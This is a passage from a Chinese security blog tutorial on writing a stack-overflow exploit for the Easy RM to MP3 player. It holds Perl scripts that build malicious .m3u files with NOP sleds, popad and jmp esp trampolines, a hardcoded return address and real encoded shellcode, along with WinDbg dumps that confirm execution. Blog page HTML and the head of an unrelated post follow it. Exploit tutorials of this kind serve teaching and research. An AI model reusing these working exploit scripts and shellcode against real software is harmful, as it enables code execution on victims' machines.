my $garbage = "D" x 100; #let’s pretend this is the space we need to jump over
my $buffer = $junk.$nop.$shellcode.$restofbuffer;
print "Size of buffer : ".length($buffer)."\n";
open($FILE,">$file");
print $FILE $buffer.$eip.$preshellcode.$garbage;
close($FILE);
</code></pre>
<pre><code>eax=00000001 ebx=00104a58 ecx=7c93003d edx=00aa0000 esi=77c2fce0 edi=0000664c
eip=42424242 esp=000ffd38 ebp=00104678 iopl=0 nv up ei pl nz ac pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000216
42424242 ?? ???
0:000> d esp
000ffd38 58 58 58 58 58 58 58 58-58 58 58 58 58 44 44 44 XXXXXXXXXXXXXDDD
000ffd48 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
000ffd58 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
000ffd68 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
000ffd78 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
000ffd88 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
000ffd98 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
000ffda8 44 00 43 43 43 43 43 43-43 43 43 43 43 43 43 43 D.CCCCCCCCCCCCCC
0:000> d
000ffdb8 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
000ffdc8 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
000ffdd8 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
000ffde8 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
000ffdf8 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
000ffe08 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
000ffe18 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
000ffe28 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
0:000> d
000ffe38 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
000ffe48 43 43 90 90 90 90 90 90-90 90 90 90 90 90 90 90 CC..............
000ffe58 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ffe68 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ffe78 90 90 90 90 cc 41 41 41-41 41 41 41 41 41 41 41 .....AAAAAAAAAAA
000ffe88 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ffe98 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ffea8 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0:000> d
000ffeb8 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ffec8 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ffed8 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
</code></pre>
<p>假设我们需要直接在ESP中的13字节“X”里面跳过100字节“D”和160字节“A”(共260字节),末尾再放置shellcode(以NOPs开头,接着放一个”0xcc”,然后A’s(shellcode)。一个popad指令相当于从栈中弹出32字节,因此260字节 = 9 * popad’s - 28 bytes。因此,我们需要在shellcode头部的位置放置一段NOPs,或者起始于shellcode入口地址 + 28字节。至此,我们已在shellcode之前放置NOPs,现在可以尝试使用”popad”指令进入NOPs,然后看程序是否能够中断在断点处。</p>
<p>调整一下脚本,还用我们之前找好的 jmp esp 地址覆盖 EIP 然后用9个 popad 指令替代之前的 X‘s,之后再接上0xff 0xE4(jmp esp)。</p>
<pre><code class="perl">my $file= "test2.m3u";
my $buffersize = 26067;
my $junk= "C" x 250;
my $nop = "\x90" x 50;
my $shellcode = "\xcc";
my $restofbuffer = "A" x ($buffersize-(length($junk)+length($nop)+length($shellcode)));
my $eip = pack('V',0x01b9f23a);
my $preshellcode = "X" * 4;
$preshellcode = $preshellcode . "\x61" x 9;
$preshellcode = $preshellcode . "\xff\xe4";
$preshellcode = $preshellcode . "\x90" x 3;
#let's pretend this is the only space we have available
my $garbage = "D" x 100; #let’s pretend this is the space we need to jump over
my $buffer = $junk.$nop.$shellcode.$restofbuffer;
print "Size of buffer : ".length($buffer)."\n";
open($FILE,">$file");
print $FILE $buffer.$eip.$preshellcode.$garbage;
close($FILE);
</code></pre>
<p>打开文件后断在了我们设置的int3断点处。查看一下当前EIP和ESP的情况:</p>
<pre><code>eax=43434343 ebx=43434395 ecx=43434343 edx=43434343 esi=43434343 edi=43434343
eip=000ffe7c esp=000ffdf8 ebp=43434343 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
000ffe7c cc int 3
0:000> d eip
000ffe7c cc 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 .AAAAAAAAAAAAAAA
000ffe8c 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ffe9c 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ffeac 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ffebc 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ffecc 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ffedc 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ffeec 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0:000> d eip-32
000ffe4a 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ffe5a 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ffe6a 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ffe7a 90 90 cc 41 41 41 41 41-41 41 41 41 41 41 41 41 ...AAAAAAAAAAAAA
000ffe8a 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ffe9a 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ffeaa 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ffeba 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0:000> d esp
000ffdf8 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
000ffe08 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
000ffe18 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
000ffe28 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
000ffe38 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
000ffe48 43 43 90 90 90 90 90 90-90 90 90 90 90 90 90 90 CC..............
000ffe58 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ffe68 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
0:000> d
000ffe78 90 90 90 90 cc 41 41 41-41 41 41 41 41 41 41 41 .....AAAAAAAAAAA
000ffe88 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ffe98 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ffea8 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ffeb8 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ffec8 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ffed8 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ffee8 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
</code></pre>
<p>接下来可以使用真正的shellcode来替换掉”0xcc”</p>
<pre><code>my $file= "test3.m3u";
my $buffersize = 26067;
my $junk= "C" x 250;
my $nop = "\x90" x 50;
my $shellcode = "\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1" .
"\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30" .
"\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa" .
"\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96" .
"\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b" .
"\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a" .
"\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83" .
"\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98" .
"\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61" .
"\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05" .
"\x7f\xe8\x7b\xca";
my $restofbuffer = "A" x ($buffersize-(length($junk)+length($nop)+length($shellcode)));
my $eip = pack('V',0x01b9f23a);
my $preshellcode = "X" * 4;
$preshellcode = $preshellcode . "\x61" x 9;
$preshellcode = $preshellcode . "\xff\xe4";
$preshellcode = $preshellcode . "\x90" x 3;
#let's pretend this is the only space we have available
my $garbage = "D" x 100; #let’s pretend this is the space we need to jump over
my $buffer = $junk.$nop.$shellcode.$restofbuffer;
print "Size of buffer : ".length($buffer)."\n";
open($FILE,">$file");
print $FILE $buffer.$eip.$preshellcode.$garbage;
close($FILE);
</code></pre>
<img lazyload="" src="/images/loading.svg" data-src="/2021/05/20/exploit%E7%BC%96%E5%86%99%E7%B3%BB%E5%88%972%EF%BC%9A%E6%A0%88%E6%BA%A2%E5%87%BA%EF%BC%8C%E8%B7%B3%E8%BD%AC%E8%87%B3shellcode/image-20210206000619469-1621477705987.png" class="" title="image-20210206000619469">
<p>shellcode执行成功</p>
</div>
<div class="post-copyright-info w-full my-8 px-2 sm:px-6 md:px-8">
<div class="article-copyright-info-container">
<ul>
<li><strong>标题:</strong> exploit编写系列2:栈溢出,跳转至shellcode</li>
<li><strong>作者:</strong> xiaoeryu</li>
<li><strong>创建于
:</strong> 2021-05-20 10:27:25</li>
<li>
<strong>更新于
:</strong> 2023-11-17 19:36:43
</li>
<li>
<strong>链接:</strong> https://github.com/xiaoeryu/2021/05/20/exploit编写系列2:栈溢出,跳转至shellcode/
</li>
<li>
<strong>
版权声明:
</strong>
本文章采用 <a class="license" target="_blank" rel="noopener" href="https://creativecommons.org/licenses/by-nc-sa/4.0">CC BY-NC-SA 4.0</a> 进行许可。
</li>
</ul>
</div>
</div>
<ul class="post-tags-box text-lg mt-1.5 flex-wrap justify-center flex md:hidden">
<li class="tag-item mx-0.5">
<a href="/tags/exploit%E7%BC%96%E5%86%99/">#exploit编写</a>
</li>
<li class="tag-item mx-0.5">
<a href="/tags/%E6%BA%A2%E5%87%BA%E7%B1%BB%E5%9E%8B%E6%BC%8F%E6%B4%9E/">#溢出类型漏洞</a>
</li>
</ul>
<div class="article-nav my-8 flex justify-between items-center px-2 sm:px-6 md:px-8">
<div class="article-prev border-border-color shadow-redefine-flat shadow-shadow-color-2 rounded-medium px-4 py-2 hover:shadow-redefine-flat-hover hover:shadow-shadow-color-2">
<a class="prev" rel="prev" href="/2021/05/20/go%E7%8E%AF%E5%A2%83%E5%8F%98%E9%87%8F%E8%AE%BE%E7%BD%AE/">
<span class="left arrow-icon flex justify-center items-center">
<i class="fa-solid fa-chevron-left"></i>
</span>
<span class="title flex justify-center items-center">
<span class="post-nav-title-item">go环境变量设置</span>
<span class="post-nav-item">上一篇</span>
</span>
</a>
</div>
<div class="article-next border-border-color shadow-redefine-flat shadow-shadow-color-2 rounded-medium px-4 py-2 hover:shadow-redefine-flat-hover hover:shadow-shadow-color-2">
<a class="next" rel="next" href="/2021/05/20/exploit%E7%BC%96%E5%86%99%E7%B3%BB%E5%88%971-Easy-RM-to-MP3-%E6%BC%8F%E6%B4%9E%E8%B0%83%E8%AF%95/">
<span class="title flex justify-center items-center">
<span class="post-nav-title-item">exploit编写系列1:Easy RM to MP3 漏洞调试</span>
<span class="post-nav-item">下一篇</span>
</span>
<span class="right arrow-icon flex justify-center items-center">
<i class="fa-solid fa-chevron-right"></i>
</span>
</a>
</div>
</div>
<div class="comment-container px-2 sm:px-6 md:px-8 pb-8">
<div class="comments-container mt-10 w-full ">
<div id="comment-anchor" class="w-full h-2.5"></div>
<div class="comment-area-title w-full my-1.5 md:my-2.5 text-xl md:text-3xl font-bold">
评论
</div>
</div>
</div>
</div>
<div class="toc-content-container">
<div class="post-toc-wrap">
<div class="post-toc">
<div class="toc-title">目录</div>
<div class="page-title">exploit编写系列2:栈溢出,跳转至shellcode</div>
<ol class="nav"><li class="nav-item nav-level-1"><a class="nav-link" href="#exploit%E7%BC%96%E5%86%99%E7%B3%BB%E5%88%972%EF%BC%9A%E6%A0%88%E6%BA%A2%E5%87%BA%EF%BC%8C%E8%B7%B3%E8%BD%AC%E8%87%B3shellcode"><span class="nav-text">exploit编写系列2:栈溢出,跳转至shellcode</span></a><ol class="nav-child"><li class="nav-item nav-level-3"><a class="nav-link" href="#1-jmp-x2F-call-%E5%AF%84%E5%AD%98%E5%99%A8"><span class="nav-text">1. jmp/call 寄存器</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#2-pop-pop-ret"><span class="nav-text">2. pop pop ret</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#3-push-return"><span class="nav-text">3. push return</span></a><ol class="nav-child"><li class="nav-item nav-level-4"><a class="nav-link" href="#0x00-%E9%87%8D%E6%96%B0%E8%BF%90%E8%A1%8CEasy-RM-to-MP3%E5%B9%B6%E7%94%A8windbg%E9%99%84%E5%8A%A0"><span class="nav-text">0x00 重新运行Easy RM to MP3并用windbg附加</span></a></li></ol></li><li class="nav-item nav-level-3"><a class="nav-link" href="#4-jmp-reg-offset"><span class="nav-text">4. jmp [reg + offset]</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#5-Blind-return"><span class="nav-text">5. Blind return</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#%E5%85%B6%E5%AE%83%E8%B7%B3%E8%BD%AC%E6%96%B9%E5%BC%8F"><span class="nav-text">其它跳转方式</span></a></li></ol></li></ol></li></ol>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="main-content-footer">
<footer class="footer mt-5 py-5 h-auto text-base text-third-text-color relative border-t-2 border-t-border-color">
<div class="info-container py-3 text-center">
<div class="text-center">
©
<span>2022</span>
-
2025 <i class="fa-solid fa-heart fa-beat" style="--fa-animation-duration: 0.5s; color: #f54545"></i> <a href="/">xiaoeryu</a>
<p class="post-count space-x-0.5">
<span>
共撰写了 112 篇文章
</span>
</p>
</div>
<script data-swup-reload-script src="https://busuanzi.ibruce.info/busuanzi/2.3/busuanzi.pure.mini.js"></script>
<div class="relative text-center lg:absolute lg:right-[20px] lg:top-1/2 lg:-translate-y-1/2 lg:text-right">
<span id="busuanzi_container_site_uv" class="lg:!block">
<span class="text-sm">访问人数</span>
<span id="busuanzi_value_site_uv"></span>
</span>
<span id="busuanzi_container_site_pv" class="lg:!block">
<span class="text-sm">总访问量</span>
<span id="busuanzi_value_site_pv"></span>
</span>
</div>
<div class="relative text-center lg:absolute lg:left-[20px] lg:top-1/2 lg:-translate-y-1/2 lg:text-left">
<span class="lg:block text-sm">由 <?xml version="1.0" encoding="utf-8"?><!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"><svg class="relative top-[2px] inline-block align-baseline" version="1.1" id="圖層_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" width="1rem" height="1rem" viewBox="0 0 512 512" enable-background="new 0 0 512 512" xml:space="preserve"><path fill="#0E83CD" d="M256.4,25.8l-200,115.5L56,371.5l199.6,114.7l200-115.5l0.4-230.2L256.4,25.8z M349,354.6l-18.4,10.7l-18.6-11V275H200v79.6l-18.4,10.7l-18.6-11v-197l18.5-10.6l18.5,10.8V237h112v-79.6l18.5-10.6l18.5,10.8V354.6z"/></svg><a target="_blank" class="text-base" href="https://hexo.io">Hexo</a> 驱动</span>
<span class="text-sm lg:block">主题 <a class="text-base" target="_blank" href="https://github.com/EvanNotFound/hexo-theme-redefine">Redefine v2.8.2</a></span>
</div>
<div>
博客已运行 <span class="odometer" id="runtime_days" ></span> 天 <span class="odometer" id="runtime_hours"></span> 小时 <span class="odometer" id="runtime_minutes"></span> 分钟 <span class="odometer" id="runtime_seconds"></span> 秒
</div>
<script data-swup-reload-script>
try {
function odometer_init() {
const elements = document.querySelectorAll('.odometer');
elements.forEach(el => {
new Odometer({
el,
format: '( ddd).dd',
duration: 200
});
});
}
odometer_init();
} catch (error) {}
</script>
</div>
</footer>
</div>
</div>
<div class="post-tools">
<div class="post-tools-container">
<ul class="article-tools-list">
<!-- TOC aside toggle -->
<li class="right-bottom-tools page-aside-toggle">
<i class="fa-regular fa-outdent"></i>
</li>
<!-- go comment -->
<li class="go-comment">
<i class="fa-regular fa-comments"></i>
</li>
</ul>
</div>
</div>
<div class="right-side-tools-container">
<div class="side-tools-container">
<ul class="hidden-tools-list">
<li class="right-bottom-tools tool-font-adjust-plus flex justify-center items-center">
<i class="fa-regular fa-magnifying-glass-plus"></i>
</li>
<li class="right-bottom-tools tool-font-adjust-minus flex justify-center items-center">
<i class="fa-regular fa-magnifying-glass-minus"></i>
</li>
<li class="right-bottom-tools tool-dark-light-toggle flex justify-center items-center">
<i class="fa-regular fa-moon"></i>
</li>
<!-- rss -->
<li class="right-bottom-tools tool-scroll-to-bottom flex justify-center items-center">
<i class="fa-regular fa-arrow-down"></i>
</li>
</ul>
<ul class="visible-tools-list">
<li class="right-bottom-tools toggle-tools-list flex justify-center items-center">
<i class="fa-regular fa-cog fa-spin"></i>
</li>
<li class="right-bottom-tools tool-scroll-to-top flex justify-center items-center">
<i class="arrow-up fas fa-arrow-up"></i>
<span class="percent"></span>
</li>
</ul>
</div>
</div>
<div class="image-viewer-container">
<img src="">
</div>
<div class="search-pop-overlay">
<div class="popup search-popup">
<div class="search-header">
<span class="search-input-field-pre">
<i class="fa-solid fa-keyboard"></i>
</span>
<div class="search-input-container">
<input autocomplete="off" autocorrect="off" autocapitalize="off" placeholder="站内搜索您需要的内容..." spellcheck="false" type="search" class="search-input">
</div>
<span class="popup-btn-close">
<i class="fa-solid fa-times"></i>
</span>
</div>
<div id="search-result">
<div id="no-result">
<i class="fa-solid fa-spinner fa-spin-pulse fa-5x fa-fw"></i>
</div>
</div>
</div>
</div>
</main>
<script src="/js/build/libs/Swup.min.js"></script>
<script src="/js/build/libs/SwupSlideTheme.min.js"></script>
<script src="/js/build/libs/SwupScriptsPlugin.min.js"></script>
<script src="/js/build/libs/SwupProgressPlugin.min.js"></script>
<script src="/js/build/libs/SwupScrollPlugin.min.js"></script>
<script src="/js/build/libs/SwupPreloadPlugin.min.js"></script>
<script>
const swup = new Swup({
plugins: [
new SwupScriptsPlugin({
optin: true,
}),
new SwupProgressPlugin(),
new SwupScrollPlugin({
offset: 80,
}),
new SwupSlideTheme({
mainElement: ".main-content-body",
}),
new SwupPreloadPlugin(),
],
containers: ["#swup"],
});
</script>
<script src="/js/build/tools/imageViewer.js" type="module"></script>
<script src="/js/build/utils.js" type="module"></script>
<script src="/js/build/main.js" type="module"></script>
<script src="/js/build/layouts/navbarShrink.js" type="module"></script>
<script src="/js/build/tools/scrollTopBottom.js" type="module"></script>
<script src="/js/build/tools/lightDarkSwitch.js" type="module"></script>
<script src="/js/build/layouts/categoryList.js" type="module"></script>
<script src="/js/build/tools/localSearch.js" type="module"></script>
<script src="/js/build/tools/codeBlock.js" type="module"></script>
<script src="/js/build/layouts/lazyload.js" type="module"></script>
<script src="/js/build/tools/runtime.js"></script>
<script src="/js/build/libs/odometer.min.js"></script>
<link rel="stylesheet" href="/assets/odometer-theme-minimal.css">
<script src="/js/build/libs/Typed.min.js"></script>
<script src="/js/build/plugins/typed.js" type="module"></script>
<script src="/js/build/libs/anime.min.js"></script>
<script src="/js/build/tools/tocToggle.js" type="module" data-swup-reload-script=""></script>
<script src="/js/build/layouts/toc.js" type="module" data-swup-reload-script=""></script>
<script src="/js/build/plugins/tabs.js" type="module" data-swup-reload-script=""></script>
<script src="/js/build/libs/moment-with-locales.min.js" data-swup-reload-script=""></script>
<script src="/js/build/layouts/essays.js" type="module" data-swup-reload-script=""></script>
</body>
</html> | Zayn-Liu/hexo | 2021/05/20/exploit编写系列2:栈溢出,跳转至shellcode/index.html | HTML | unknown | 76,786 |
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta name="keywords" content="Hexo Theme Redefine">
<meta name="author" content="xiaoeryu">
<!-- preconnect -->
<link rel="preconnect" href="https://fonts.googleapis.com">
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
<!--- Seo Part-->
<link rel="canonical" href="https://xiaoeeyu.github.io/2021/05/20/go环境变量设置/"/>
<meta name="robots" content="index,follow">
<meta name="googlebot" content="index,follow">
<meta name="revisit-after" content="1 days">
<meta name="description" content="question: linux下设置go环境变量之后,再次打开新的终端或者重启后环境变量会失效需要重新source /etc/profile 后才能生效">
<meta property="og:type" content="article">
<meta property="og:title" content="go环境变量设置">
<meta property="og:url" content="https://xiaoeeyu.github.io/2021/05/20/go%E7%8E%AF%E5%A2%83%E5%8F%98%E9%87%8F%E8%AE%BE%E7%BD%AE/index.html">
<meta property="og:site_name" content="xiaoeryu">
<meta property="og:description" content="question: linux下设置go环境变量之后,再次打开新的终端或者重启后环境变量会失效需要重新source /etc/profile 后才能生效">
<meta property="og:locale" content="zh_CN">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/20/go%E7%8E%AF%E5%A2%83%E5%8F%98%E9%87%8F%E8%AE%BE%E7%BD%AE/image-20200418165608857.png">
<meta property="article:published_time" content="2021-05-20T02:56:10.000Z">
<meta property="article:modified_time" content="2023-11-12T10:24:03.575Z">
<meta property="article:author" content="xiaoeryu">
<meta property="article:tag" content="环境配置">
<meta property="article:tag" content="golang">
<meta name="twitter:card" content="summary">
<meta name="twitter:image" content="https://xiaoeeyu.github.io/2021/05/20/go%E7%8E%AF%E5%A2%83%E5%8F%98%E9%87%8F%E8%AE%BE%E7%BD%AE/image-20200418165608857.png">
<!--- Icon Part-->
<link rel="icon" type="image/png" href="/images/rabete.jpg" sizes="192x192">
<link rel="apple-touch-icon" sizes="180x180" href="/images/rabete.jpg">
<meta name="theme-color" content="#A31F34">
<link rel="shortcut icon" href="/images/rabete.jpg">
<!--- Page Info-->
<title>
go环境变量设置 | xiaoeryu
</title>
<link rel="stylesheet" href="/fonts/Chillax/chillax.css">
<!--- Inject Part-->
<link rel="stylesheet" href="/css/style.css">
<link rel="stylesheet" href="/css/build/tailwind.css">
<link rel="stylesheet" href="/fonts/GeistMono/geist-mono.css">
<link rel="stylesheet" href="/fonts/Geist/geist.css">
<!--- Font Part-->
<script id="hexo-configurations">
window.config = {"hostname":"xiaoeeyu.github.io","root":"/","language":"zh-CN","path":"search.xml"};
window.theme = {"articles":{"style":{"font_size":"16px","line_height":1.5,"image_border_radius":"14px","image_alignment":"center","image_caption":false,"link_icon":true,"delete_mask":false,"title_alignment":"left","headings_top_spacing":{"h1":"3.2rem","h2":"2.4rem","h3":"1.9rem","h4":"1.6rem","h5":"1.4rem","h6":"1.3rem"}},"word_count":{"enable":true,"count":true,"min2read":true},"author_label":{"enable":true,"auto":false,"list":[]},"code_block":{"copy":true,"style":"mac","highlight_theme":{"light":"github","dark":"vs2015"},"font":{"enable":false,"family":null,"url":null}},"toc":{"enable":true,"max_depth":4,"number":false,"expand":true,"init_open":true},"copyright":{"enable":true,"default":"cc_by_nc_sa"},"lazyload":true,"pangu_js":false,"recommendation":{"enable":false,"title":"推荐阅读","limit":3,"mobile_limit":2,"placeholder":"/images/ball-0101.jpg","skip_dirs":[]}},"colors":{"primary":"#A31F34","secondary":null,"default_mode":"light"},"global":{"fonts":{"chinese":{"enable":false,"family":null,"url":null},"english":{"enable":false,"family":null,"url":null},"title":{"enable":false,"family":null,"url":null}},"content_max_width":"1000px","sidebar_width":"210px","hover":{"shadow":true,"scale":false},"scroll_progress":{"bar":false,"percentage":true},"website_counter":{"url":"https://busuanzi.ibruce.info/busuanzi/2.3/busuanzi.pure.mini.js","enable":true,"site_pv":true,"site_uv":true,"post_pv":true},"single_page":true,"preloader":{"enable":false,"custom_message":null},"open_graph":true,"google_analytics":{"enable":false,"id":null}},"home_banner":{"enable":true,"style":"fixed","image":{"light":"/images/wallhaven-jxl31y.png","dark":"/images/wallhaven-o5762l.png"},"title":"XIAOERYU","subtitle":{"text":["明心见性,拨云见日","Don't wait, to create"],"hitokoto":{"enable":false,"show_author":false,"api":"https://v1.hitokoto.cn"},"typing_speed":100,"backing_speed":80,"starting_delay":500,"backing_delay":1500,"loop":true,"smart_backspace":true},"text_color":{"light":"#fff","dark":"#d1d1b6"},"text_style":{"title_size":"2.8rem","subtitle_size":"1.5rem","line_height":1.2},"custom_font":{"enable":false,"family":null,"url":null},"social_links":{"enable":true,"style":"default","links":{"github":"https://github.com/xiaoeeyu","instagram":null,"zhihu":null,"twitter":null,"email":"xiaoeryu@163.com"},"qrs":{"weixin":null}}},"plugins":{"feed":{"enable":false},"aplayer":{"enable":false,"type":"fixed","audios":[{"name":null,"artist":null,"url":null,"cover":null,"lrc":null}]},"mermaid":{"enable":false,"version":"9.3.0"}},"version":"2.8.2","navbar":{"auto_hide":false,"color":{"left":"#f78736","right":"#367df7","transparency":35},"width":{"home":"1200px","pages":"1000px"},"links":{"Home":{"path":"/","icon":"fa-regular fa-house"},"Archives":{"path":"/archives","icon":"fa-regular fa-archive"}},"search":{"enable":true,"preload":true}},"page_templates":{"friends_column":2,"tags_style":"blur"},"home":{"sidebar":{"enable":true,"position":"left","first_item":"menu","announcement":null,"show_on_mobile":true,"links":null},"article_date_format":"auto","excerpt_length":200,"categories":{"enable":true,"limit":3},"tags":{"enable":true,"limit":3}},"footerStart":"2022/8/17 11:45:14"};
window.lang_ago = {"second":"%s 秒前","minute":"%s 分钟前","hour":"%s 小时前","day":"%s 天前","week":"%s 周前","month":"%s 个月前","year":"%s 年前"};
window.data = {"masonry":false};
</script>
<!--- Fontawesome Part-->
<link rel="stylesheet" href="/fontawesome/fontawesome.min.css">
<link rel="stylesheet" href="/fontawesome/brands.min.css">
<link rel="stylesheet" href="/fontawesome/solid.min.css">
<link rel="stylesheet" href="/fontawesome/regular.min.css">
<meta name="generator" content="Hexo 6.3.0">
<style>.github-emoji { position: relative; display: inline-block; width: 1.2em; min-height: 1.2em; overflow: hidden; vertical-align: top; color: transparent; } .github-emoji > span { position: relative; z-index: 10; } .github-emoji img, .github-emoji .fancybox { margin: 0 !important; padding: 0 !important; border: none !important; outline: none !important; text-decoration: none !important; user-select: none !important; cursor: auto !important; } .github-emoji img { height: 1.2em !important; width: 1.2em !important; position: absolute !important; left: 50% !important; top: 50% !important; transform: translate(-50%, -50%) !important; user-select: none !important; cursor: auto !important; } .github-emoji-fallback { color: inherit; } .github-emoji-fallback img { opacity: 0 !important; }</style>
</head>
<body>
<div class="progress-bar-container">
<span class="pjax-progress-bar"></span>
<!-- <span class="swup-progress-icon">-->
<!-- <i class="fa-solid fa-circle-notch fa-spin"></i>-->
<!-- </span>-->
</div>
<main class="page-container" id="swup">
<div class="main-content-container flex flex-col justify-between min-h-dvh">
<div class="main-content-header">
<header class="navbar-container px-6 md:px-12">
<div class="navbar-content transition-navbar ">
<div class="left">
<a class="logo-image h-8 w-8 sm:w-10 sm:h-10 mr-3" href="/">
<img src="/images/rabete.jpg" class="w-full h-full rounded-sm">
</a>
<a class="logo-title" href="/">
xiaoeryu
</a>
</div>
<div class="right">
<!-- PC -->
<div class="desktop">
<ul class="navbar-list">
<li class="navbar-item">
<!-- Menu -->
<a class=""
href="/"
>
<i class="fa-regular fa-house fa-fw"></i>
首页
</a>
<!-- Submenu -->
</li>
<li class="navbar-item">
<!-- Menu -->
<a class=""
href="/archives"
>
<i class="fa-regular fa-archive fa-fw"></i>
归档
</a>
<!-- Submenu -->
</li>
<li class="navbar-item search search-popup-trigger">
<i class="fa-solid fa-magnifying-glass"></i>
</li>
</ul>
</div>
<!-- Mobile -->
<div class="mobile">
<div class="icon-item search search-popup-trigger"><i class="fa-solid fa-magnifying-glass"></i>
</div>
<div class="icon-item navbar-bar">
